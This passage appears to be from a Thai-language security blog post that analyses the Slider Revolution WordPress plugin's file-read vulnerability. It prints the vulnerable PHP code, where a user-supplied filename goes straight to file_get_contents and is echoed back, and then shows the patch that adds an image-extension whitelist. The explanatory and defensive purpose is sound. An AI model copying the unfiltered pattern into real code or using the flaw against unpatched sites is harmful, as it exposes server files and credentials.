  if(function_exists("gd_info") == false)
   $this->throwError("php must support GD Library");

  //check conditions for output original image
  if(empty($this->effect)){
   if((is_numeric($maxWidth) == false || is_numeric($maxHeight) == false)) outputImage($filepath);
   
   if($maxWidth == -1 && $maxHeight == -1) 
    $this->outputImage($filepath);
  }
   
  if($maxWidth == -1) $maxWidth = 1000000;
  if($maxHeight == -1) $maxHeight = 100000;
   
  //init variables
  $this->filename = $filename;
  $this->maxWidth = $maxWidth;
  $this->maxHeight = $maxHeight;
  $this->type = $type;
   
  $filepathNew = $this->getThumbFilepath();
   
  if(is_file($filepathNew)){
   $this->outputImage($filepathNew);
   exit();  
  }
   
  try{
   if($type == self::TYPE_EXACT || $type == self::TYPE_EXACT_TOP){
    $isSaved = $this->cropImageSaveNew($filepath,$filepathNew);
   }
   else 
    $isSaved = $this->resizeImageSaveNew($filepath,$filepathNew);
   
   if($isSaved == false){
    $this->outputImage($filepath);
    exit();
   }
    
  }catch(Exception $e){
   $this->outputImage($filepath);
  }
      
  if(is_file($filepathNew)) 
   $this->outputImage($filepathNew);
  else 
   $this->outputImage($filepath);
  
  exit();
}

          ค่าในตัวแปร $filename ถูกต่อ String กับค่าในตัวแปร $pathImages โดยค่าที่ถูกรวมกันแล้วนั้นจะไปอยู่ในตัวแปร $filepath และตัวแปร $filepath ก็ถูกส่งต่อไปให้กับฟังก์ชั่น outputImage ครับ
private function outputImage($filepath){
      
 $info = UniteFunctionsRev::getPathInfo($filepath);
 $ext = $info["extension"];    
 $filetime = filemtime($filepath);
   
 $ext = strtolower($ext);
 if($ext == "jpg")
  $ext = "jpeg";
   
 $numExpires = 31536000; //one year
 $strExpires = @date('D, d M Y H:i:s',time()+$numExpires);
 $strModified = @date('D, d M Y H:i:s',$filetime);
   
 $contents = file_get_contents($filepath);
 $filesize = strlen($contents);
 header("Last-Modified: $strModified GMT");
 header("Expires: $strExpires GMT");
 header("Cache-Control: public");
 header("Content-Type: image/$ext");
 header("Content-Length: $filesize");
   
 echo $contents;
 exit();
}

          จะเห็นว่าตัวแปร $filepath ที่ถูกส่งเข้าฟังก์ชั่น outputImage มานั้นถูกส่งเข้าไปในฟังก์ชั่น file_get_contests (อ่านไฟล์ออกมาเป็น string) ต่อและถูกเก็บค่าที่อ่านได้นั้น มาใส่ไว้ในตัวแปร $content จากนั้นก็ echo เพื่อแสดงข้อความที่ get content มาโดยไม่มีการกรอง Input ใดๆเลยครับ
          ตอนนี้แพทช์ที่แก้ไขช่องโหว่ดังกล่าวได้ออกมาแล้ว โดยเพิ่ม Whitelist extension หรือนามสกุลไฟล์ที่อนุญาตเข้าไปนั้นเองครับ
private function outputImage($filepath){
      
 $info = UniteFunctionsRev::getPathInfo($filepath);
 $ext = $info["extension"];    
 $filetime = filemtime($filepath);
   
 $ext = strtolower($ext);
 $good_extensions = array('jpg', 'png', 'gif', 'jpeg', 'tiff', 'bmp');
 
 if(empty($ext) || !in_array($ext, $good_extensions)){
  header("HTTP/1.1 403 Unauthorized" );
  die('Unauthorized');
 }
 
 if($ext == "jpg")
  $ext = "jpeg";
   
 $numExpires = 31536000; //one year
 $strExpires = @date('D, d M Y H:i:s',time()+$numExpires);
 $strModified = @date('D, d M Y H:i:s',$filetime);
   
 $contents = file_get_contents($filepath);
 $filesize = strlen($contents);
 header("Last-Modified: $strModified GMT");
 header("Expires: $strExpires GMT");
 header("Cache-Control: public");
 header("Content-Type: image/$ext");
 header("Content-Length: $filesize");
   
 echo $contents;
 exit();
}

          โดยในเงื่อนไข if หมายความว่า ถ้านามสกุลไฟล์ที่ใส่มาในพารามิเตอร์ img ไม่ได้อยู่ใน Array คือไม่ได้เป็นรูปภาพ ให้ตอบกลับไปว่า Unauthorized ครับ สำหรับใครที่ใช้ปลั๊กอินหรือธีมที่มี Slider Revolution ควรอัพเดทให้เป็นเวอร์ชั่นล่าสุดเพื่อป้องกันการถูกโจมตีด้วยนะครับ

Ref: Russian malware targets WordPress users, over 100,000 sites infected
Ref: RevSlider Vulnerability Leads To Massive WordPress SoakSoak Compromise
Ref: 2600 Thailand